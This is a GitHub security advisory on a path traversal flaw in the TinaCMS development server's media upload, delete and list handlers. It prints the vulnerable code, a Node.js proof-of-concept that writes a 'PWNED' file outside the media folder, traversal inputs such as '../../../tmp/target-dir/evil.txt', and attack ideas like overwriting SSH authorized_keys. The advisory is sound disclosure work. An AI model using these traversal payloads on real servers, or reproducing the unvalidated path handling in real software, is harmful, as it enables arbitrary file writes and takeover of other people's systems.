GitHub Advisoryadvisory · npm

GHSA-5hxf-c7j4-279c Tina: Path Traversal in Media Upload Handle

HIGH Published 2026-03-12 Modified 2026-03-12 Official page ↗
Aliases
CVE-2026-28791
Ecosystem
npm
Packages
tinacms
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
Weaknesses
CWE-22
Reviewed
2026-03-12

Affected packages

• npm tinacms: < 2.1.7 → fixed in 2.1.7

Description

Affected Package | Field | Value | |-------|-------| | Package | `@tinacms/cli` | | Version | `2.0.5` (latest at time of discovery) | | Vulnerable File | `packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts` | | Vulnerable Lines | 42-43 | --- Summary A path traversal vulnerability (CWE-22) exists in the TinaCMS development server's media upload handler. The code at `media.ts:42-43` joins user-controlled path segments using `path.join()` without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem. Attack Vector: Network (HTTP POST request) Impact: Arbitrary file write, potential Remote Code Execution --- Details Vulnerable Code Location File: `packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts` Lines: 42-43 ```typescript bb.on('file', async (_name, file, _info) => { const fullPath = decodeURI(req.url?.slice('/media/upload/'.length)); // Line 42 const saveTo = path.join(mediaFolder, ...fullPath.split('/')); // Line 43 // make sure the directory exists before writing the file await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); }); ``` Root Cause The `path.join()` function resolves `..` (parent directory) segments in the path. When the user-supplied path contains traversal sequences like `../../../etc/passwd`, these are resolved relative to the media folder, allowing escape to arbitrary filesystem locations. Example: ```javascript const mediaFolder = '/app/public/uploads'; const maliciousInput = '../../../tmp/evil.txt'; const saveTo = path.join(mediaFolder, ...maliciousInput.split('/')); // Result: '/tmp/evil.txt' - OUTSIDE the media folder! ``` Additional Affected Endpoints The same vulnerability pattern exists in: 1. Delete Handler (`handleDelete`, lines 29-33) - Arbitrary file deletion 2. List Handler (`handleList`, lines 16-27) + `MediaModel.listMedia` - Directory enumeration 3. MediaModel.deleteMedia (lines 201-217) - Arbitrary file deletion Similar code also exists in the Express version at: • `packages/@tinacms/cli/src/server/routes/index.ts` • `packages/@tinacms/cli/src/server/models/media.ts` --- PoC Quick Verification (No Server Required) This Node.js script directly tests the vulnerable code logic: ```javascript !/usr/bin/env node /** • TinaCMS Path Traversal Vulnerability - Direct Code Test • Run: node test-vulnerability.js */ const path = require('path'); const fs = require('fs'); // Simulated configuration (matches typical TinaCMS setup) const rootPath = '/tmp/tinacms-test'; const publicFolder = 'public'; const mediaRoot = 'uploads'; const mediaFolder = path.join(rootPath, publicFolder, mediaRoot); // Setup test directories fs.mkdirSync(path.join(rootPath, publicFolder, mediaRoot), { recursive: true }); fs.mkdirSync('/tmp/target-dir', { recursive: true }); console.log(`Media folder: ${mediaFolder}`); // Simulate vulnerable code from media.ts:42-43 function vulnerableUpload(reqUrl) { const fullPath = decodeURI(reqUrl.slice('/media/upload/'.length)); const saveTo = path.join(mediaFolder, ...fullPath.split('/')); return saveTo; } // Test cases const tests = [ { url: '/media/upload/image.png', desc: 'Normal upload' }, { url: '/media/upload/../../../tmp/target-dir/evil.txt', desc: 'Path traversal' }, ]; tests.forEach(test => { const result = vulnerableUpload(test.url); const isVuln = !path.resolve(result).startsWith(path.resolve(mediaFolder)); console.log(`\n${test.desc}:`); console.log(` Input: ${test.url}`); console.log(` Result: ${result}`); console.log(` Vulnerable: ${isVuln ? 'YES ⚠️' : 'No ✓'}`); if (isVuln) { // Actually write the file to prove it works fs.mkdirSync(path.dirname(result), { recursive: true }); fs.writeFileSync(result, `PWNED at ${new Date().toISOString()}`); console.log(` File written: ${fs.existsSync(result)}`); } }); // Cleanup fs.rmSync(rootPath, { recursive: true, force: true }); ``` Output ``` Media folder: /tmp/tinacms-test/public/uploads Normal upload: Input: /media/upload/image.png Result: /tmp/tinacms-test/public/uploads/image.png Vulnerable: No ✓ Path traversal: Input: /media/upload/../../../tmp/target-dir/evil.txt Result: /tmp/tmp/target-dir/evil.txt Vulnerable: YES ⚠️ File written: true ``` The file was successfully written to `/tmp/tmp/target-dir/evil.txt`, which is completely outside the intended media folder at `/tmp/tinacms-test/public/uploads`. Important Note: HTTP Layer vs Code Vulnerability I want to be transparent about my findings: What I observed: • When testing via HTTP requests against the Vite dev server, path traversal sequences (`../`) are normalized by Node.js/Vite's HTTP layer *before* reaching the vulnerable code • This means direct HTTP exploitation like `curl POST /media/upload/../../../tmp/evil.txt` is mitigated in the default configuration Why this is still a valid vulnerability that should be fixed: 1. The code itself has no validation - If the path reaches the handler (via any vector), it will be exploited 2. Defense-in-depth principle - Security should not rely solely on HTTP normalization 3. Inconsistent protection - Your GraphQL layer (`addPendingDocument`) explicitly validates paths and rejects `../` (see test at `packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:59`), but the media endpoints don't have equivalent protection 4. Different deployment contexts: • Reverse proxies (nginx, Apache) with `proxy_pass` may preserve raw paths • Custom server configurations • Future refactoring that uses this code differently 5. The `parseMediaFolder` helper (line 66-74) shows intent to restrict paths - the upload handler should have similar restrictions 6. Express version also affected - `packages/@tinacms/cli/src/server/routes/index.ts` has the same pattern --- Evidence That Path Traversal Should Be Blocked Your codebase already shows that path traversal is considered a security issue: ```typescript // From: packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:52-70 it('handles validation error for invalid path format', async () => { const { query } = await setupMutation(__dirname, config); const invalidPathMutation = ` mutation { addPendingDocument( collection: "post" relativePath: "../invalid-path.md" // <-- Path traversal is rejected! ) { __typename } } `; const result = await query({ query: invalidPathMutation, variables: {} }); expect(result.errors).toBeDefined(); expect(result.errors?.length).toBeGreaterThan(0); }); ``` This test explicitly verifies that `../invalid-path.md` is rejected in the GraphQL layer. The media upload endpoints should have the same protection. --- Impact Who is Affected • Developers running TinaCMS in development mode • Any deployment exposing the TinaCMS dev server API • Particularly concerning if dev servers are exposed to networks (common for mobile testing) Potential Attack Scenarios 1. Remote Code Execution: Write malicious files to executable locations • Overwrite `~/.ssh/authorized_keys` for SSH access • Modify application source code • Create cron jobs or systemd services 2. Denial of Service: Delete critical application or system files 3. Information Disclosure: List directory contents outside the media folder CVSS Score Estimate CVSS 3.1 Base Score: 8.1 (High) • Attack Vector: Network (AV:N) • Attack Complexity: Low (AC:L) • Privileges Required: None (PR:N) • User Interaction: None (UI:N) • Scope: Unchanged (S:U) • Confidentiality: None (C:N) • Integrity: High (I:H) • Availability: High (A:H) --- Recommended Fix Add path validation to ensure the resolved path stays within the …

Related

Alias · CVE (1)

  • CVE-2026-28791 Tina is a headless content management system. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References